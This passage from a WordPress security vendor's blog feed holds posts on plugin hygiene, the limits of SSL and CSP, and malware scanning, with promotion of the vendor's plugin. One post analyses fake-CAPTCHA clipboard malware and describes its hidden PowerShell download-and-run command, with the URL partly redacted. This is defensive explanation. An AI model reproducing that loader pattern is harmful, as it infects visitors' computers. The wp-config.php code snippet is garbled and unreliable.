has been able to log in to the administration screen, so we will need to take other security measures. Check for unauthorized user registration. Countermeasures against vulnerabilities that allowed hackers to enter the server. Reference 5 free WordPress security measures]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10670</post-id>	</item>
		<item>
		<title>Notes on using multiple security plugins together in WordPress</title>
		<link>https://blog.website-malware-removal.com/10660</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 02:23:13 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10660</guid>

					<description><![CDATA[This section explains the precautions to be taken when using multiple security plug-ins together in WordPress. Typical WordPress security plug-ins The following security plug-ins are commonly installed on WordPress sites. WordFence WAF blocks malicious traffic. Malware scanner to detect and repair infections. Two-factor authentication (2FA) and brute force attack protection. SiteGuard Simply install and activate to provide basic login protection and prevent unintentional access to administrative screens. Protects against fraudulent logins by changing login page URLs, automatic lockouts, image verification (CAPTCHA), login alerts (email notifications), and more. All-In-One Security (AIOS) Complete WAF functionality, firewall (6G/8G rules), login protection (2FA, user enumeration prevention). File change monitoring and content protection (spam/hotlink prevention). Easy to use with security scoring, suitable for beginners. Solid Security Originally iThemes Security, offering multi-layered protection including login hardening (2FA/password policy), brute force protection, file change detection, and vulnerability scanning. Vulnerability scanning. File change detection and user activity logs. MalCare Security Malware scanner and WAF with WordPress-specific threat blocking. Vulnerability detection, activity logs, country blocking, login protection. WP Doctor malware scanner pro Block malicious traffic with WAF. Malware scanner, vulnerability scanning, IP blocking, attack monitoring features, and more. Security plugin includes similar WAF features A WAF is a feature that prevents hackers from attacking and makes it harder to hack. Plugins with this functionality often overlap in functionality, and more than 70% of them are the same. Also, login protection is found in almost all plugins. If multiple plug-ins are enabled for these overlapping functions, there is a possibility that the functions will conflict, which may cause problems such as not being able to log in. Also, security-related functions will be executed multiple times, which may slow down the load and speed of the site. For this reason, we recommend that you set up similar security functions so that they do not overlap, even if multiple security plug-ins are installed. False positives in malware scanning Plug-ins with malware scanning functions may include detection patterns or malware-like code in their detection programs, which may cause the malware scanning functions to misdetect each other even though the code is safe. Therefore, if multiple malware scanning plug-ins are running, a human must determine if the detected files are indeed malware. The following is a method to determine if a safe file has been falsely detected or not. The detected malware exists in the folder of another malware detection plug-in. The detected file is included in the same version of the plugin as the legitimate distribution file, and the contents are identical. In addition, if the malware scan is executed by multiple plug-ins, it may increase the load on the site and lead to site slowdown. For this reason, we recommend that security plug-ins be combined into one plug-in that has a general WAF function, a malware scanning function (with a high detection rate), and a vulnerability scanning function.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10660</post-id>	</item>
		<item>
		<title>SSL and CSP do not prevent hacking</title>
		<link>https://blog.website-malware-removal.com/10654</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 04 Dec 2025 01:48:12 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10654</guid>

					<description><![CDATA[Converting WordPress to SSL and setting up a CSP (Content Security Policy) does not prevent hacking. We will explain the reasons for this. Why SSL (HTTPS) does not prevent hacking SSL encrypts notifications between the web server and the user&#8217;s browser so that servers, WIFI, and other devices that mediate data transmission can read the contents of those communications and not know what data is being sent or received. Incidentally, the following information is not protected even if SSL is used (1) IP address of the destination (2) Domain name (SNI) * The URL of the page being accessed and queries under the domain will be kept confidential. (iii) Timing and traffic volume of the connection Therefore, it is possible to prevent WordPress login IDs and passwords from being read and exposed in the process of SSL conversion. Why can&#8217;t SSL prevent hacking? However, most WordPress hacking is done through brute force attacks, in which the administrator&#8217;s password is determined by brute force, or by hackers gaining direct access to vulnerabilities in plug-ins and other vulnerabilities. Such attacks cannot be prevented by encrypting communications using SSL, because the hacker&#8217;s unauthorized communications themselves are not filtered out. Why CSP settings do not prevent hacking Recently, it has become common to set CSP (Content Security Policy). CSP (Content Security Policy) is a mechanism for specifying which JS scripts, images, CSS, etc. from which sources are allowed to be loaded in HTACCESS files and other files. Browsers will read these settings and prevent loading of JS, etc. on unauthorized domains. The CSP setting may prevent users from suffering secondary damage by preventing the browser from loading malicious JS scripts embedded by hackers on the site. However, what CSP can prevent is the loading of malicious scripts, etc., into the content after the hacker has already successfully defaced the site, and the user&#8217;s browser will execute them. (This may not be prevented if the CSP settings and the malicious embedded scripts are on the same server.) CSP is an insurance policy that may prevent users from accessing the site and suffering secondary damage in the event that the site is hacked. How do I prevent WordPress from being hacked? To prevent WordPress from being hacked, it is important to take basic security measures, such as using plug-ins that specialize in preventing hacking, in addition to SSL and CSP settings. Security Plug-ins Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. Basic Security Measures What are some meaningful and not-so-meaningful security measures in WordPress? We hope you find this information helpful.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10654</post-id>	</item>
		<item>
		<title>Why &#8220;unused plugins&#8221; are an attack vector in WordPress &#8211; the difference between deleting vs. disabling.</title>
		<link>https://blog.website-malware-removal.com/10650</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 01 Dec 2025 01:57:09 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10650</guid>

					<description><![CDATA[We will explain why &#8220;&#8216;unused plugins&#8217; are an attack vector in WordPress &#8211; the difference between removal vs. disabling. Pathway for WordPress program vulnerabilities to be attacked The main routes of attack for WordPress program vulnerabilities are as follows 1 Vulnerability in admin-ajax is used to attack WordPress has a built-in back-ground communication mechanism called admin-ajax. Many plug-ins use this mechanism, and some plug-ins may use this function in a way that allows vulnerabilities to manifest. Hackers can send queries to admin-ajax that exploit this vulnerability to perform various hacking activities. This type of attack is not effective if the vulnerable plugin is deactivated. 2 Vulnerability of inadequate use of WordPress functions is exploited. In addition to admin-ajax, WordPress has various built-in functions. If a vulnerability is exploited in a way that does not directly access the plugin&#8217;s files, it will not be effective if the plugin is deactivated. This type of vulnerability can be exploited by using the REST API, a communication interface external to WordPress, or by using shortcodes defined in the plugin (shortcodes can be deactivated). (Shortcodes cannot be executed by plugins that have been deactivated.) 3 Program vulnerabilities are directly accessed and used in attacks Some vulnerabilities can be used by hackers for attacks by directly accessing program vulnerabilities. This type of vulnerability can be used for attacks even if the plug-in is deactivated. For example, the following vulnerabilities can be used for attacks even when plug-ins are deactivated. https://wp-doctor.jp/blog/vulnerabilities/litespeed-cache-exploit-cve-2023-40000/ The reason why the following code is inserted in many plugin files is to prevent vulnerability attacks by direct file access. if ( ! defined( &#8216;ABSPATH&#8217; ) ) { exit; } } This code checks for an undefined &#8216;ABSPATH&#8217; if the plugin is deactivated, and forces the process to exit if there is none. However, vulnerable plug-ins may not have this direct access prevention code inserted 4 Backdoors and other malicious programs installed by another hacker are reused in the attack Although this type of attack is very common, it is often not related to the presence or absence of plug-ins or deactivation of plug-ins, since the hacker has already been allowed to enter and install backdoors, etc., if the attack is successful. We recommend that you remove any plug-ins that you have deactivated. Some site operators believe that deactivated plug-ins will not be used for hacking. This may result in deactivated plug-ins that are very out of date, increasing the risk of vulnerability. Since there are so many vulnerabilities that can be exploited by directly accessing files even when deactivated that they cannot be ignored, we recommend that deactivated plug-ins be removed from the server. In most cases, deactivated plug-ins are not used in their entirety, so there is no problem with removing them. However, if you are concerned, we recommend that you perform a full site backup before deleting the plug-in. Click here for WordPress vulnerability testing, malware scanning removal, and plug-ins.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10650</post-id>	</item>
		<item>
		<title>7 WordPress security-critical operational policies that production companies won&#8217;t tell you about, and that you must follow after delivery.</title>
		<link>https://blog.website-malware-removal.com/10645</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 25 Nov 2025 01:53:38 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10645</guid>

					<description><![CDATA[We will explain 7 important WordPress security operation policies that the production company won&#8217;t tell you about, and that you must follow after delivery. 1 Increase the strength of passwords for users on the production site test site Around 20% of WordPress hacks are caused by weak passwords for administrator privileges. Make sure that the passwords for both the production and test sites are a random string of at least 12 characters and alphanumeric symbols, and reset them if they are not. In one case where we were asked to remove malware, the administrator password for the test site was the same as the ID for the convenience of development. In the case of this site, the administrator privileges of the test site were first taken by hackers through a brute force attack, and then a back door was opened and the production site was also tampered with to add unauthorized users, resulting in the spread of malware damage to the entire server. 2 Do not leave test sites unattended Malware today can spread to multiple sites on a server. Therefore, if a test site or any other development data is left unattended on a server, the vulnerability of that site can be exploited by hackers, and the entire server can be tampered with. We recommend that you do not leave abandoned sites that have not been updated for a long period of time (test sites are often such cases) on the server. 3 Regular Updates Some production companies will tell you not to update your site to keep it stable, but this is a huge security risk. This is a huge security risk because the most common reason (60%) for WordPress to be hacked is to exploit vulnerabilities in old plugins or WordPress itself. In some cases, the production companies have disabled automatic updates to prevent updates from being made. The longer this happens, the more likely it is that vulnerabilities will be discovered and the more likely it is that hackers will use WordPress to infect your site with malware. Even if your production company tells you not to update your site, we recommend that you follow the following operational policies. Do not stop the automatic security update of WordPress itself. Update the test site once every few months to make sure it is up-to-date, and keep the production site up-to-date with the latest plug-ins and WordPress itself. If the above is not possible, it may be necessary to pinpoint vulnerabilities on a regular basis and take action to address them. (We also recommend that you update your entire site every year or two to ensure that it is up-to-date.) 4 Neglecting deactivated plug-ins During the production process, the use of various plug-ins may be considered by the production company, and then deactivated, but unused plug-ins may be left unattended. Even if a plugin is deactivated, the vulnerability of the WordPress plugin can be exploited by accessing the program directly. We recommend that you ask your production company why some plug-ins have been deactivated and remove them from the server [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10645</post-id>	</item>
		<item>
		<title>Is it really safe to put wordpress wp-config.php externally? Examining the advantages and disadvantages</title>
		<link>https://blog.website-malware-removal.com/10639</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 19 Nov 2025 01:48:10 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10639</guid>

					<description><![CDATA[I would like to explain whether or not it is better to put wp-config.php under a different name or in a different directory, and how to do this. Advantages of externalizing or renaming your WordPress wp-config.php The wp-config.php file contains very important information about the database connection. If this connection information is leaked to the outside, the database can be manipulated to create unauthorized users or rewrite WordPress content. In addition, a common vulnerability attack by hackers is to look into the contents of wp-config.php. To prevent this vulnerability attack, externalizing or renaming wp-config.php has security advantages. Reference (vulnerabilities #3 and #5 in the following article) The 6 most targeted plugin vulnerabilities in WordPress these days How to externalize or rename wordpress wp-config.php You can rename wp-config.php by following the steps below. 1. Rename wp-config.php Using FTP or a file manager wp-config.php → wp-config-secure.php (any name is fine, but it must match the name in step 2) 2. Rewrite the reading part of wp-config.php in wp-load.php The following two lines if ( file_exists( ABSPATH . 'wp-config.php' ) ) { /** The config file resides in ABSPATH */ require_once ABSPATH . 'wp-config.php'; Replace the following if ( file_exists( ABSPATH . 'wp-config-secure.php' ) { /** The config file resides in ABSPATH */ require_once ABSPATH . 'wp-config-secure.php'; The config file resides in ABSPATH */ require_ce ABSPATH . &#8216;wp-config-secure.php&#8217;; * The config file resides in ABSPATH */ require_ce ABSPATH . How to externalize? First, place the above wp-config-secure.php in a folder on the server above the folder where the HTML is located. Specify that folder with ../ to specify the hierarchy above. If you place it one level above if ( file_exists( ABSPATH . '../wp-config-secure.php' ) { /** The config file resides in ABSPATH */ require_once ABSPATH . '../wp-config-secure.php'; If you place it two levels up if ( file_exists( ABSPATH . '../../wp-config-secure.php' ) { /** The config file resides in ABSPATH */ require_once ABSPATH . '../../wp-config-secure.php'; Externalizing or renaming wordpress wp-config.php Disadvantages There are several disadvantages to the above customization that you should be aware of when updating WordPress. 1 When updating, WordPress will judge that there is no configuration file, and will generate a new wp-config.php file. 2 When updating, wp-load.php reverts back to the regular file and the renamed wp-config.php cannot be loaded, the site will be at the installation screen and the site will display poorly For this reason, you will be asked to externalize wp-config.php again each time you update. If automatic updates are enabled, the above error may be triggered at unexpected times. Is renaming wp-config.php recommended? We do not recommend renaming or externalizing wp-config.php except in special cases. Rather, we recommend that you take measures to prevent vulnerabilities that can be exploited by peeping into wp-config.php. We have a vulnerability database that allows you to easily perform a vulnerability check to look into the wp-config.php of plug-ins installed on your site. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal].]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10639</post-id>	</item>
		<item>
		<title>Operational design to reduce reinfection rate after WordPress malware removal</title>
		<link>https://blog.website-malware-removal.com/10626</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 11 Nov 2025 01:42:26 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10626</guid>

					<description><![CDATA[We will explain the operational design to reduce the reinfection rate after WordPress malware removal. Causes of WordPress Hacking The chart below shows the causes of WordPress hacking as researched by WordFence. No. 1 Plugin vulnerability No. 2 Brute force (brute force password cracking of admin rights) No. 3 Core file vulnerability No. 4 Theme vulnerability 5th Hosting server vulnerability https://www.wordfence.com/blog/2016/03/attackers-gain-access-wordpress-sites/ In our experience, if you take care of 1, 2, and even 3, you can almost prevent WordPress from being hacked, although it is not 100%. Operational design to prevent plugin vulnerabilities from being used in attacks Hackers will target vulnerabilities that are deployed on more sites and that allow them to more easily modify files on the server. (There are tools available to exploit one well-known vulnerability after another, and they use them to attack random sites.) For this reason, it is ideal to keep all plug-ins up-to-date. However, since plug-ins often cause site malfunctions when updated, we recommend the following operational policy as a minimum measure. &#8211; Remove unused plug-ins from the server (not by deactivating them, but by deleting the programs in the plug-ins&#8217; folders). Use only the most selective plug-ins possible. &#8211; Check the site once a month for plugin vulnerabilities. &#8211; If vulnerabilities are found, update the plug-ins as soon as possible. &#8211; Once a year or so, we update the plugins and the entire WordPress site in a test environment, check that they are working properly, and then adapt them to the production environment. Plugin vulnerabilities that are constantly being updated can be checked with the [Free] WordPress: Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. Operational design to prevent brute force (password cracking of administrative privileges by brute force) The countermeasure here is very simple. All you need to do is to make the password for the WordPress administrator privileges strong enough to satisfy the following rules. &#8211; Use a password of at least 12 characters that contains at least one upper-case lower-case alphanumeric character and at least one lower-case symbol, and that has no meaning. Such a password cannot be breached by a brute force attack because, in principle, it would take more than 12 million years to break such a password in a brute force attack. Operational Design to Prevent Core File Vulnerability Attacks Although serious vulnerabilities in WordPress core files are very rarely discovered, abandoned sites may use very old WordPress (WordPress version 3 or 4 units), which can be used for hacking. WordPress comes with an automatic minor version upgrade mechanism. WordPress 3.7 introduces &#8220;Automatic Background Updates&#8221; functionality. Therefore, it is important not to stop this feature. // Disable automatic updates *Do not write such a setting define( 'AUTOMATIC_UPDATER_DISABLED', true ); We also recommend that you update the core WordPress files at least once a year or so in a test environment to ensure that they are working properly before adapting them to the production environment. Do the same for all sites on the server. Malware nowadays often spreads its infection beyond individual domain folders on the [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10626</post-id>	</item>
		<item>
		<title>How to automate WordPress malware detection and vulnerability detection and email notification</title>
		<link>https://blog.website-malware-removal.com/10620</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 30 Oct 2025 01:41:18 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10620</guid>

					<description><![CDATA[This presentation will explain how to automate WordPress malware and vulnerability detection and email notification. Automate malware detection and vulnerability detection with WP Doctor Malware Scanner Pro and email notification Download and install the [Free] WordPress:Malware Scanning &#038; Security Plugin [Malware and Virus Detection and Removal] developed by WP Doctor. How to install WP Doctor Malware Scanner Pro Download the plugin and save the ZIP file on your local computer. Log in to your WordPress account and click on Plugins > Add New > Upload Plugin from the admin page. Select the ZIP file you just downloaded and click Install Now to activate the plugin. Click on the &#8220;Malware Scan&#8221; menu item added to the left menu of the admin page. Click the &#8220;Scan Now&#8221; button in the upper right corner to start scanning immediately. Click on the &#8220;Settings&#8221; tab to access the various settings, and the &#8220;Improve Security&#8221; tab to access the plugin&#8217;s security features. Enable automatic scanning and email notifications in the WP Doctor Malware Scanner Pro settings screen From the WordPress admin page > Malware Scan > Settings tab Auto-scan for malware daily Automatic daily scan for vulnerabilities Email notification upon detection *Specify the email address to be notified Check &#8220;Yes&#8221; to save the settings. The system automatically scans for malware and vulnerabilities and notifies you by email as follows upon detection. Please confirm that we have detected malware on the site name (https://*****) Inspection Result Start time: 2025-08-18 18:00:00 End time: 2025-08-18 18:05:34 Scanning time: 334 seconds Scanned directory: /home/***** Directories scanned: 912 Files scanned (modified or outdated): 3802 Suspicious files found (malware/viruses): 1 Number of databases scanned: 194 Number of malware-infected databases: 0 Vulnerability found in the site name (https://*****). The vulnerabilities found are as follows LearnPress Version:4.2.6 CVE-2024-4397,CVE-2024-4434,CVE-2024-6589,CVE-2024-8529 Automatic daily vulnerability scan is a paid feature. Please consider purchasing the paid version of the plugin from the &#8220;Purchase&#8221; tab of the plugin&#8217;s administration page. We hope you will give it a try.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10620</post-id>	</item>
		<item>
		<title>What are some meaningful and not-so-meaningful security measures in WordPress?</title>
		<link>https://blog.website-malware-removal.com/10614</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 23 Oct 2025 01:47:30 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10614</guid>

					<description><![CDATA[Our thoughts on meaningful and not-so-meaningful security measures in WordPress will be explained. What are the most important security measures that can be derived from the causes of WordPress hacking and tampering? 60% of the causes of WordPress being hacked are vulnerabilities in plugins and WordPress core, followed by weak passwords for admin rights around 20% of the time. https://www.wordfence.com/blog/2016/03/attackers-gain-access-wordpress-sites/ Adapted from (WordFence research) For this reason, the most important security measures are 1 Adapt security updates for vulnerable WordPress core files and plugins. 2 Make sure that the password for administrator privileges is at least 12 characters long, including random, meaningless alphanumeric symbols. We recommend that you remove all deactivated plugins, as vulnerability 1 can be exploited even if the plugin is deactivated. We believe that the above two measures alone will almost eliminate hacking. (Hackers look for sites that can be hacked easily, which is why sites that are even slightly difficult to hack are less likely to be targeted by mass-attack hacking methods). You can check for vulnerable WordPress core files and plugins here. You can also check for vulnerabilities from the inside with the [Free] WordPress: Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. You can also use this service if you wish. We recommend that the above security measures be taken for all sites on the server. In addition, malware today has the ability to spread itself to all sites on the server under the same account. We recommend that you take the above basic security measures not only for important sites, but also for all sites on the server (including abandoned sites). If possible, we recommend that you delete files from abandoned sites. What other vulnerability countermeasures are important? There are other moderately important vulnerability measures that can be expected to reduce the likelihood of hacking by a few percent. These are listed below. 1 Stop the function to display a folder list when there is no index. file in the server →1 Stop the ability to display a folder list if there is no index. file on the server. 2 Login lockdown → Countermeasures to repel brute force attacks that repeatedly enforce login are effective in the initial stage in terms of delaying hackers from seizing administrative privileges. 3 Prevent WordPress and plugin versions from being leaked. →(There is a way to find out if a particular vulnerable version of a plugin is installed by using a special query in Google search, which can be prevented). *All of the above measures are available for free with the [Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. Aren&#8217;t the other measures important? Many WordPress operators often think that changing the URL of the login screen and implementing captcha is very important, but only around 15 percent of all hacks break through the login screen, and also the password for admin rights is cracked by brute force Brute force attack attacks also have methods that do not use the login screen. Also, as mentioned above, if a strong password is set [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10614</post-id>	</item>
		<item>
		<title>WordPress malware damage: malware that executes malicious code written to the clipboard with a fake captcha</title>
		<link>https://blog.website-malware-removal.com/10606</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 30 Sep 2025 01:27:28 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[index.php]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10606</guid>

					<description><![CDATA[Recently, we have received several requests to remove malware that executes malicious code written to the clipboard with a fake capture, and there is a possibility that this type of malware is spreading. Here is what we know about this malware. Malware that steals clipboard contents when a fake Cloudflare captcha appears when visiting a site. This malware displays a screen like the one shown above only once to the user who visits the site. (Cookies are used to display it only once.) This fake capture asks the user to do the following in order to browse the site 1 Press &#038; hold the Windows Key R → Display a screen to execute a command locally 2 In the verification window, press Ctrl V 3 Press Enter on the keyboard to complete → The invalid code has already been written to the clipboard and the command will be executed. Let&#8217;s take a look at the malicious commands that the malware writes to the clipboard. (Some of the code has been blurred out because it is dangerous. Let&#8217;s analyze what this command does. 1 -w h = start local execution window hidden 2 ep bypass = Allow script execution ignoring execution policy → This alone shows that the intent is to be &#8220;unobtrusive&#8221; and &#8220;bypass constraints&#8221;. 3 The download source URL is made by string concatenation, and finally https://files.catbox[.] moe/****.txt, and the file is retrieved from the URL and saved in a temporary folder 4 The downloaded file name .ps1 is executed as is (&#038; is the invocation operator). In other words, the local PC is infected with a virus at this moment. How to deal with fake capture malware In many cases, this malware has tampered with the index.php and wp-config.php of WordPress to display a malicious capture screen. If this part of the site has been disinfected and also tampered with, it is highly likely that hackers have already infiltrated the server and embedded backdoors and other malicious code into multiple sites. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. We recommend that you perform a malware scan and removal by using the following methods. It is also necessary to close the vulnerabilities that allowed hackers to enter the system in the first place. Please refer to the following pages 5 free WordPress security measures]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10606</post-id>	</item>
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